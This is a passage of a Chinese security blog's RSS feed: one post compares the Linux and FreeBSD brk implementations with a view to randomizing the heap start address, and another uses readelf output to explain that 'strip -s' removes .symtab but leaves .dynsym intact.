"L220">220</a> <br>
<a name="L221" href="http://lxr.linux.no/source/mm/mmap.c#L221" id=
"L221">221</a>         <strong><em>/* Always allow shrinking brk. */</em></strong><br>
<a name="L222" href="http://lxr.linux.no/source/mm/mmap.c#L222" id=
"L222">222</a>         if (brk &lt;= mm-&gt;brk) {<br>
<a name="L223" href="http://lxr.linux.no/source/mm/mmap.c#L223" id=
"L223">223</a>                 if (!<a href=
"http://lxr.linux.no/ident?i=do_munmap">do_munmap</a>(mm, newbrk, oldbrk-newbrk))<br>
<a name="L224" href="http://lxr.linux.no/source/mm/mmap.c#L224" id=
"L224">224</a>                         goto <a href=
"http://lxr.linux.no/ident?i=set_brk">set_brk</a>;<br>
<a name="L225" href="http://lxr.linux.no/source/mm/mmap.c#L225" id=
"L225">225</a>                 goto <a href=
"http://lxr.linux.no/ident?i=out">out</a>;<br>
<a name="L226" href="http://lxr.linux.no/source/mm/mmap.c#L226" id=
"L226">226</a>         }<br>
<a name="L227" href="http://lxr.linux.no/source/mm/mmap.c#L227" id=
"L227">227</a> <br>
<a name="L228" href="http://lxr.linux.no/source/mm/mmap.c#L228" id=
"L228">228</a>         <strong><em>/* Check against rlimit.. */</em></strong><br>
<a name="L229" href="http://lxr.linux.no/source/mm/mmap.c#L229" id=
"L229">229</a>         rlim = <a href=
"http://lxr.linux.no/ident?i=current">current</a>-&gt;signal-&gt;rlim[<a href="http://lxr.linux.no/ident?i=RLIMIT_DATA">RLIMIT_DATA</a>].rlim_cur;<br>
<a name="L230" href="http://lxr.linux.no/source/mm/mmap.c#L230" id=
"L230">230</a>         if (rlim &lt; <a href=
"http://lxr.linux.no/ident?i=RLIM_INFINITY">RLIM_INFINITY</a> &amp;&amp; brk - mm-&gt;start_data &gt; rlim)<br>
<a name="L231" href="http://lxr.linux.no/source/mm/mmap.c#L231" id=
"L231">231</a>                 goto <a href=
"http://lxr.linux.no/ident?i=out">out</a>;<br>
<a name="L232" href="http://lxr.linux.no/source/mm/mmap.c#L232" id=
"L232">232</a> <br>
<a name="L233" href="http://lxr.linux.no/source/mm/mmap.c#L233" id=
"L233">233</a>         <strong><em>/* Check against existing mmap mappings. */</em></strong><br>
<a name="L234" href="http://lxr.linux.no/source/mm/mmap.c#L234" id=
"L234">234</a>         if (<a href=
"http://lxr.linux.no/ident?i=find_vma_intersection">find_vma_intersection</a>(mm, oldbrk, newbrk+<a href="http://lxr.linux.no/ident?i=PAGE_SIZE">PAGE_SIZE</a>))<br>
<a name="L235" href="http://lxr.linux.no/source/mm/mmap.c#L235" id=
"L235">235</a>                 goto <a href=
"http://lxr.linux.no/ident?i=out">out</a>;<br>
<a name="L236" href="http://lxr.linux.no/source/mm/mmap.c#L236" id=
"L236">236</a> <br>
<a name="L237" href="http://lxr.linux.no/source/mm/mmap.c#L237" id=
"L237">237</a>         <strong><em>/* Ok, looks good - let it rip. */</em></strong><br>
<a name="L238" href="http://lxr.linux.no/source/mm/mmap.c#L238" id=
"L238">238</a>         if (<a href=
"http://lxr.linux.no/ident?i=do_brk">do_brk</a>(oldbrk, newbrk-oldbrk) != oldbrk)<br>
<a name="L239" href="http://lxr.linux.no/source/mm/mmap.c#L239" id=
"L239">239</a>                 goto <a href=
"http://lxr.linux.no/ident?i=out">out</a>;<br>
<a name="L240" href="http://lxr.linux.no/source/mm/mmap.c#L240" id=
"L240">240</a> <a href=
"http://lxr.linux.no/ident?i=set_brk">set_brk</a>:<br>
<a name="L241" href="http://lxr.linux.no/source/mm/mmap.c#L241" id=
"L241">241</a>         mm-&gt;brk = brk;<br>
<a name="L242" href="http://lxr.linux.no/source/mm/mmap.c#L242" id=
"L242">242</a> <a href=
"http://lxr.linux.no/ident?i=out">out</a>:                       &lt;------------- 这里    <br>
<a name="L243" href="http://lxr.linux.no/source/mm/mmap.c#L243" id=
"L243">243</a>         retval = mm-&gt;brk;  &lt;------------- 这里<br>
<a name="L244" href="http://lxr.linux.no/source/mm/mmap.c#L244" id=
"L244">244</a>         <a href=
"http://lxr.linux.no/ident?i=up_write">up_write</a>(&amp;mm-&gt;mmap_sem);<br>
<a name="L245" href="http://lxr.linux.no/source/mm/mmap.c#L245" id=
"L245">245</a>         return retval;<br>
<a name="L246" href="http://lxr.linux.no/source/mm/mmap.c#L246" id=
"L246">246</a> }<br>
<br>
</pre>
FREEBSD:<br>
malloc分配的起始地址是硬编码在binary中，见代码：<br>
<br>
#if defined(SYSLIBC_SCCS) &amp;&amp; !defined(lint)<br>
.asciz "@(#)brk.s 5.2 (Berkeley) 12/17/90"<br>
#endif /* SYSLIBC_SCCS and not lint */<br>
#include &lt;machine/asm.h&gt;<br>
__FBSDID("$FreeBSD: src/lib/libc/i386/sys/brk.S,v 1.10 2002/03/23
02:10:28 obrien Exp $");<br>
<br>
#include "SYS.h"<br>
<br>
.globl HIDENAME(curbrk)<br>
.globl HIDENAME(minbrk)<br>
ENTRY(_brk)<br>
jmp ok<br>
<br>
ENTRY(brk)<br>
#ifdef PIC<br>
movl 4(%esp),%eax<br>
PIC_PROLOGUE<br>
movl PIC_GOT(HIDENAME(curbrk)),%edx # set up GOT addressing
&lt;------------- 这里<br>
movl PIC_GOT(HIDENAME(minbrk)),%ecx # PIC_EPILOGUE
&lt;------------- 这里<br>
cmpl %eax,(%ecx)<br>
jbe ok<br>
movl (%ecx),%eax<br>
movl %eax,4(%esp)<br>
ok:<br>
mov $SYS_break,%eax &lt;------------- 这里<br>
KERNCALL<br>
jb err<br>
movl 4(%esp),%eax<br>
movl %eax,(%edx)<br>
movl $0,%eax<br>
ret<br>
err:<br>
PIC_PROLOGUE<br>
jmp PIC_PLT(HIDENAME(cerror))<br>
<br>
#else<br>
<br>
movl 4(%esp),%eax<br>
cmpl %eax,HIDENAME(minbrk)<br>
jbe ok<br>
movl HIDENAME(minbrk),%eax<br>
movl %eax,4(%esp)<br>
ok:<br>
mov $SYS_break,%eax<br>
KERNCALL<br>
jb err<br>
movl 4(%esp),%eax<br>
movl %eax,HIDENAME(curbrk)<br>
movl $0,%eax<br>
ret<br>
err:<br>
jmp HIDENAME(cerror)<br>
#endif<br>
<br>
因此，要对堆内存分配的起始地址进行随机，在LINUX只需在内核修改brk的初始值，而在FREEBSD中则必需在用户层做处理（可以改libc或ld）。
]]></description><guid>http://www.i170.com/Article/10881</guid><trackback:ping>http://www.i170.com/Article/10881/trackback</trackback:ping><comments>http://www.i170.com/Article/10881#comment</comments><wfw:commentRss>http://www.i170.com/Article/10881/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/8715</link><title><![CDATA[被strip -s处理过的程序为什么还可以进行共享库注入]]></title><author>grip2</author><category>网络安全</category><pubDate>Fri, 25 Nov 2005 11:41:41  +0800</pubDate><description><![CDATA[有人问我的一个问题，<br>
“被strip -s处理过的程序为什么还可以进行共享库注射？难道符号信息还存在吗？”<br>
，下面是回复：<br>
<br>
&nbsp;
strip删除的只是符号表的一部分，符号表由两个section组成，分别是.dynsym和.symtab，strip删除的只是后者，对于可重定位相关的部分，其并未删除。看下面的例子：<br>
grip2@linux:~&gt; readelf -s foo_strip<br>
Symbol table '.dynsym' contains 7 entries:<br>
&nbsp;&nbsp; Num:&nbsp;&nbsp;&nbsp; Value&nbsp; Size
Type&nbsp;&nbsp;&nbsp; Bind&nbsp;&nbsp;
Vis&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ndx Name<br>
&nbsp;&nbsp;&nbsp;&nbsp; 0: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
NOTYPE&nbsp; LOCAL&nbsp; DEFAULT&nbsp; UND<br>
&nbsp;&nbsp;&nbsp;&nbsp; 1: 00000000&nbsp;&nbsp; 600
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND sleep@GLIBC_2.0
(2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 2: 00000000&nbsp;&nbsp; 232
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND
__libc_start_main@GLIBC_2.0 (2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 3: 00000000&nbsp;&nbsp;&nbsp; 54
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND printf@GLIBC_2.0
(2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 4: 08048554&nbsp;&nbsp;&nbsp;&nbsp; 4
OBJECT&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 15 _IO_stdin_used<br>
&nbsp;&nbsp;&nbsp;&nbsp; 5: 00000000&nbsp;&nbsp;&nbsp; 49
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND sprintf@GLIBC_2.0
(2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 6: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
NOTYPE&nbsp; WEAK&nbsp;&nbsp; DEFAULT&nbsp; UND __gmon_start__<br>
<p class="partingline">[separator]</p>
<br>
grip2@linux:~&gt; readelf -s foo<br>
Symbol table '.dynsym' contains 7 entries:<br>
&nbsp;&nbsp; Num:&nbsp;&nbsp;&nbsp; Value&nbsp; Size
Type&nbsp;&nbsp;&nbsp; Bind&nbsp;&nbsp;
Vis&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ndx Name<br>
&nbsp;&nbsp;&nbsp;&nbsp; 0: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
NOTYPE&nbsp; LOCAL&nbsp; DEFAULT&nbsp; UND<br>
&nbsp;&nbsp;&nbsp;&nbsp; 1: 00000000&nbsp;&nbsp; 600
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND sleep@GLIBC_2.0
(2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 2: 00000000&nbsp;&nbsp; 232
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND
__libc_start_main@GLIBC_2.0 (2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 3: 00000000&nbsp;&nbsp;&nbsp; 54
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND printf@GLIBC_2.0
(2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 4: 08048554&nbsp;&nbsp;&nbsp;&nbsp; 4
OBJECT&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 15 _IO_stdin_used<br>
&nbsp;&nbsp;&nbsp;&nbsp; 5: 00000000&nbsp;&nbsp;&nbsp; 49
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND sprintf@GLIBC_2.0
(2)<br>
&nbsp;&nbsp;&nbsp;&nbsp; 6: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
NOTYPE&nbsp; WEAK&nbsp;&nbsp; DEFAULT&nbsp; UND __gmon_start__<br>
<br>
Symbol table '.symtab' contains 122 entries:<br>
&nbsp;&nbsp; Num:&nbsp;&nbsp;&nbsp; Value&nbsp; Size
Type&nbsp;&nbsp;&nbsp; Bind&nbsp;&nbsp;
Vis&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ndx Name<br>
&nbsp;&nbsp;&nbsp;&nbsp; 0: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
NOTYPE&nbsp; LOCAL&nbsp; DEFAULT&nbsp; UND<br>
&nbsp;&nbsp;&nbsp;&nbsp; 1: 08048134&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 1<br>
&nbsp;&nbsp;&nbsp;&nbsp; 2: 08048148&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 2<br>
&nbsp;&nbsp;&nbsp;&nbsp; 3: 08048168&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 3<br>
&nbsp;&nbsp;&nbsp;&nbsp; 4: 08048180&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 4<br>
&nbsp;&nbsp;&nbsp;&nbsp; 5: 080481b0&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 5<br>
&nbsp;&nbsp;&nbsp;&nbsp; 6: 08048220&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 6<br>
&nbsp;&nbsp;&nbsp;&nbsp; 7: 08048274&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 7<br>
&nbsp;&nbsp;&nbsp;&nbsp; 8: 08048284&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 8<br>
&nbsp;&nbsp;&nbsp;&nbsp; 9: 080482a4&nbsp;&nbsp;&nbsp;&nbsp; 0
SECTION LOCAL&nbsp; DEFAULT&nbsp;&nbsp;&nbsp; 9<br>
&nbsp;&nbsp;&nbsp; 10: 080482ac&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 10<br>
&nbsp;&nbsp;&nbsp; 11: 080482cc&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 11<br>
&nbsp;&nbsp;&nbsp; 12: 080482e4&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 12<br>
&nbsp;&nbsp;&nbsp; 13: 08048340&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 13<br>
&nbsp;&nbsp;&nbsp; 14: 08048534&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 14<br>
&nbsp;&nbsp;&nbsp; 15: 08048550&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 15<br>
&nbsp;&nbsp;&nbsp; 16: 08049564&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 16<br>
&nbsp;&nbsp;&nbsp; 17: 08049570&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 17<br>
&nbsp;&nbsp;&nbsp; 18: 08049574&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 18<br>
&nbsp;&nbsp;&nbsp; 19: 0804963c&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 19<br>
&nbsp;&nbsp;&nbsp; 20: 08049644&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 20<br>
&nbsp;&nbsp;&nbsp; 21: 0804964c&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 21<br>
&nbsp;&nbsp;&nbsp; 22: 08049650&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 22<br>
&nbsp;&nbsp;&nbsp; 23: 08049670&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 23<br>
&nbsp;&nbsp;&nbsp; 24: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 24<br>
&nbsp;&nbsp;&nbsp; 25: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 25<br>
&nbsp;&nbsp;&nbsp; 26: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 26<br>
&nbsp;&nbsp;&nbsp; 27: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 27<br>
&nbsp;&nbsp;&nbsp; 28: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 28<br>
&nbsp;&nbsp;&nbsp; 29: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 29<br>
&nbsp;&nbsp;&nbsp; 30: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 30<br>
&nbsp;&nbsp;&nbsp; 31: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 31<br>
&nbsp;&nbsp;&nbsp; 32: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 32<br>
&nbsp;&nbsp;&nbsp; 33: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 33<br>
&nbsp;&nbsp;&nbsp; 34: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 34<br>
&nbsp;&nbsp;&nbsp; 35: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 35<br>
&nbsp;&nbsp;&nbsp; 36: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 SECTION
LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 36<br>
&nbsp;&nbsp;&nbsp; 37: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 38: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 39: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 40: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
&lt;built-in&gt;<br>
&nbsp;&nbsp;&nbsp; 41: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS abi-note.S<br>
&nbsp;&nbsp;&nbsp; 42: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 43: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS abi-note.S<br>
&nbsp;&nbsp;&nbsp; 44: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 45: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS abi-note.S<br>
&nbsp;&nbsp;&nbsp; 46: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 47: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 48: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 49: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
&lt;built-in&gt;<br>
&nbsp;&nbsp;&nbsp; 50: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS abi-note.S<br>
&nbsp;&nbsp;&nbsp; 51: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
suse-note.S<br>
&nbsp;&nbsp;&nbsp; 52: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 53: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
suse-note.S<br>
&nbsp;&nbsp;&nbsp; 54: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 55: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 56: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 57: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
&lt;built-in&gt;<br>
&nbsp;&nbsp;&nbsp; 58: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
suse-note.S<br>
&nbsp;&nbsp;&nbsp; 59: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS init.c<br>
&nbsp;&nbsp;&nbsp; 60: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 61: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 62: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS initfini.c<br>
&nbsp;&nbsp;&nbsp; 63: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 64: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 65: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 66: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 67: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
&lt;built-in&gt;<br>
&nbsp;&nbsp;&nbsp; 68: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 69: 08048364&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 13
call_gmon_start<br>
&nbsp;&nbsp;&nbsp; 70: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS crtstuff.c<br>
&nbsp;&nbsp;&nbsp; 71: 0804963c&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 19 __CTOR_LIST__<br>
&nbsp;&nbsp;&nbsp; 72: 08049644&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 20 __DTOR_LIST__<br>
&nbsp;&nbsp;&nbsp; 73: 0804964c&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 21 __JCR_LIST__<br>
&nbsp;&nbsp;&nbsp; 74: 0804956c&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 16 p.0<br>
&nbsp;&nbsp;&nbsp; 75: 08049670&nbsp;&nbsp;&nbsp;&nbsp; 1
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 23 completed.1<br>
&nbsp;&nbsp;&nbsp; 76: 08048390&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 13
__do_global_dtors_aux<br>
&nbsp;&nbsp;&nbsp; 77: 080483d0&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 13
frame_dummy<br>
&nbsp;&nbsp;&nbsp; 78: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS crtstuff.c<br>
&nbsp;&nbsp;&nbsp; 79: 08049640&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 19 __CTOR_END__<br>
&nbsp;&nbsp;&nbsp; 80: 08049648&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 20 __DTOR_END__<br>
&nbsp;&nbsp;&nbsp; 81: 08049570&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 17 __FRAME_END__<br>
&nbsp;&nbsp;&nbsp; 82: 0804964c&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 21 __JCR_END__<br>
&nbsp;&nbsp;&nbsp; 83: 08048510&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp;&nbsp; 13
__do_global_ctors_aux<br>
&nbsp;&nbsp;&nbsp; 84: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 85: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 86: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS initfini.c<br>
&nbsp;&nbsp;&nbsp; 87: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 88: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
